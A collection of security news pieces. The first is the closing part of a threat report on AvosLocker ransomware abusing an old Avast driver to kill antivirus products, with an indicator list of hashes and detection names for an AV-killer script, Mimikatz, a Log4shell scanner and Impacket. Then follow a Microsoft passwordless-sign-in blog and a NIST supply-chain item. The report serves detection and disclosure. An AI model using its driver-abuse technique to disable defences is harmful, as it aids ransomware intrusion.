Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks. Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence grows in sophistication. In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.

However, and specific to this instance, the attempt to kill an anti-virus product such as this variant’s TaskKill can also be foiled. In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine. The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.

Avast responded to our notification with this statement:

“We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021. We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can’t be loaded to memory.

The below example shows that the blocking works (output from the “sc start” command):

               (SC) StartService FAILED 1275:

               This driver has been blocked from loading

The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft’s security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.

All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.

For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.”

Indicators of Compromise (IOCs) 

Malicious batch file componenta5ad3355f55e1a15baefea83ce81d038531af516f47716018b1dedf04f081f15Trojan.BAT.KILLAV.YACAA
AvosLocker executable05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5Ransom.Win32.AVOSLOCKER.SMYXBLNT
Mimikatz executable (x32 and x64)912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9HackTool.Win64.MIMIKATZ.ZTJA
Log4shell Nmap NSE scriptddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96Backdoor.Win32.CVE202144228.YACAH
Impacket tool14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8HackTool.Win32.Impacket.AA

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This World Password Day consider ditching passwords altogether

Did you know that May 5, 2022, is World Password Day?1 Created by cybersecurity professionals in 2013 and designated as the first Thursday every May, World Password Day is meant to foster good password habits that help keep our online lives secure. It might seem strange to have a day set aside to honor something almost no one wants to deal with—like having a holiday for filing your income taxes (actually, that might be a good idea). But in today’s world of online work, school, shopping, healthcare, and almost everything else, keeping our accounts secure is more important than ever. Passwords are not only hard to remember and keep track of, but they’re also one of the most common entry points for attackers. In fact, there are 921 password attacks every secondnearly doubling in frequency over the past 12 months.2

But what if you didn’t have to deal with passwords at all? Last fall, we announced that anyone can completely remove the password from their Microsoft account. If you’re like me and happy to ditch passwords completely, read on to learn how Microsoft is making it possible to start enjoying a passwordless life today. Still, we know not everyone is ready to say goodbye to passwords, and it’s not possible for all your online accounts. We’ll also go over some easy ways to improve your password hygiene, as well as share some exciting news from our collaboration with the FIDO Alliance about a new way to sign in without a password.  

Free yourself with passwordless sign-in

Yes, you can now enjoy secure access to your Microsoft account without a password. By using the Microsoft Authenticator app, Windows Hello, a security key, or a verification code sent to your phone or email, you can go passwordless with any of your Microsoft apps and services. Just follow these five steps:

  1. Download and install Microsoft Authenticator (linked to your personal Microsoft account).
  2. Sign in to your Microsoft account.
  3. Choose Security. Under Advanced security options, you’ll see Passwordless account in the section titled Additional security.
  4. Select Turn on.
  5. Approve the notification from Authenticator.
User interface of Microsoft Authenticator app providing instructions on how to turn on passwordless account option.
Notification from Microsoft Authenticator app confirming user's password has been removed.

Once you approve the notification, you’ll no longer need a password to access your Microsoft accounts. If you decide you prefer using a password, you can always go back and turn off the passwordless feature. Here at Microsoft, nearly 100 percent of our employees use passwordless options to log into their corporate accounts.

Strengthen security with multifactor authentication

One simple step we can all take to protect our accounts today is adding multifactor authentication, which blocks 99.9 percent of account compromise attacks. The Microsoft Authenticator app is free and provides multiple options for authentication, including time-based one-time passcodes (TOTP), push notifications, and passwordless sign-in—all of which work for any site that supports multifactor authentication. Authenticator is available for Android and iOS and gives you the option to turn two-step verification on or off. For your Microsoft Account, multifactor authentication is usually only needed the first time you sign in or after changing your password. Once your device is recognized, you’ll just need your primary sign-in.

Microsoft Authenticator screen showing different accounts, including: Microsoft, Contoso Corporation, and Facebook.

Make sure your password isn’t the weak link

Rather than keeping attackers out, weak passwords often provide a way in. Using and reusing simple passwords across different accounts might make our online life easier, but it also leaves the door open. Attackers regularly scroll social media accounts looking for birthdates, vacation spots, pet names and other personal information they know people use to create easy-to-remember passwords. A recent study found that 68 percent of people use the same password for different accounts.3 For example, once a password and email combination has been compromised, it’s often sold on the dark web for use in additional attacks. As my friend Bret Arsenault, our Chief Information Security Officer (CISO) here at Microsoft, likes to say, “Hackers don’t break in, they log in.”

Some basics to remember—make sure your password is:

  • At least 12 characters long.
  • A combination of uppercase and lowercase letters, numbers, and symbols.
  • Not a word that can be found in a dictionary, or the name of a person, product, or organization.
  • Completely different from your previous passwords.
  • Changed immediately if you suspect it may have been compromised.

Tip: Consider using a password manager. Microsoft Edge and Microsoft Authenticator can create (and remember) strong passwords using Password Generator, and then automatically fill them in when accessing your accounts. Also, keep these other tips in mind:

  • Only share personal information in real-time—in person or by phone. (Be careful on social media.)
  • Be skeptical of messages with links, especially those asking for personal information.
  • Be on guard against messages with attached files, even from people or organizations you trust.
  • Enable the lock feature on all your mobile devices (fingerprint, PIN, or facial recognition).
  • Ensure all the apps on your device are legitimate (only from your device’s official app store).
  • Keep your browser updated, browse in incognito mode, and enable Pop-Up Blocker.
  • Use Windows 11 and turn on Tamper Protection to protect your security settings.

Tip: When answering security questions, provide an unrelated answer. For example, Q: “Where were you born?” A: “Green.” This helps throw off attackers who might use information skimmed from your social media accounts to hack your passwords. (Just be sure the unrelated answers are something you’ll remember.)

Passwordless authentication is becoming commonplace

As part of a historic collaboration, the FIDO Alliance, Microsoft, Apple, and Google have announced plans to expand support for a common passwordless sign-in standard. Commonly referred to as passkeys, these multi-device FIDO credentials offer users a platform-native way to safely and quickly sign in to any of their devices without a password. Virtually unable to be phished and available across all your devices, a passkey lets you sign in simply by authenticating with your face, fingerprint, or device PIN.

In addition to a consistent user experience and enhanced security, these new credentials offer two other compelling benefits:

  1. Users can automatically access their passkeys on many of their devices without having to re-enroll for each account. Simply authenticate with your platform on your new device and your passkeys will be there ready to use—protecting you against device loss and simplifying device upgrade scenarios.
  2. With passkeys on your mobile device, you’re able to sign in to an app or service on nearly any device, regardless of the platform or browser the device is running. For example, users can sign in on a Google Chrome browser that’s running on Microsoft Windows, using a passkey on an Apple device.

These new capabilities are expected to become available across Microsoft, Apple, and Google platforms starting in the next year. This type of Web Authentication (WebAuthn) credential represents a new era of authentication, and we’re thrilled to join the FIDO Alliance and others in the industry in supporting a common standard for a safe, consistent authentication experience. Learn more about this open-standards collaboration and exciting passwordless capabilities coming for Microsoft Azure Active Directory in a blog post from Alex Simons, Vice President, Identity Program Management.

Helping you stay secure year-round

Read more about Microsoft’s journey to provide passwordless authentication in a blog post by Joy Chik, Corporate Vice President of Identity. You can also read the complete guide to setting up your passwordless account with Microsoft, including FAQs and download links. And be sure to visit Security Insider for interviews with cybersecurity thought leaders, news on the latest cyberthreats, and lots more.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

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NIST Releases Updated Cybersecurity Guidance for Managing Supply Chain Risks

The National Institute of Standards and Technology (NIST) on Thursday released an updated cybersecurity guidance for managing risks in the supply chain, as it increasingly emerges as a lucrative attack vector.

“It encourages organizations to consider the vulnerabilities not only of a finished product they are considering using, but also of its components — which may have been developed elsewhere — and the journey those components took to reach their destination,” NIST said in a statement.

The new directive outlines major security controls and practices that entities should adopt to identify, assess, and respond to risks at different stages of the supply chain, including the possibility of malicious functionality, flaws in third-party software, insertion of counterfeit hardware, and poor manufacturing and development practices.

Software Supply Chain Risks

The development follows an Executive Order issued by the U.S. President on “Improving the Nation’s Cybersecurity (14028)” last May, requiring government agencies to take steps to “improve the security and integrity of the software supply chain, with a priority on addressing critical software.”

Supply Chain Risks

It also comes as cybersecurity risks in the supply chain have come to the forefront in recent years, in part compounded by a wave of attacks targeting widely-used software to breach dozens of downstream vendors all at once.

According to the European Union Agency for Cybersecurity’s (ENISA) Threat Landscape for Supply Chain Attacks, 62% of 24 attacks documented from January 2020 to early 2021 were found to “exploit the trust of customers in their supplier.”

“Managing the cybersecurity of the supply chain is a need that is here to stay,” said NIST’s Jon Boyens and one of the publication’s authors. “If your agency or organization hasn’t started on it, this is a comprehensive tool that can take you from crawl to walk to run, and it can help you do so immediately.”

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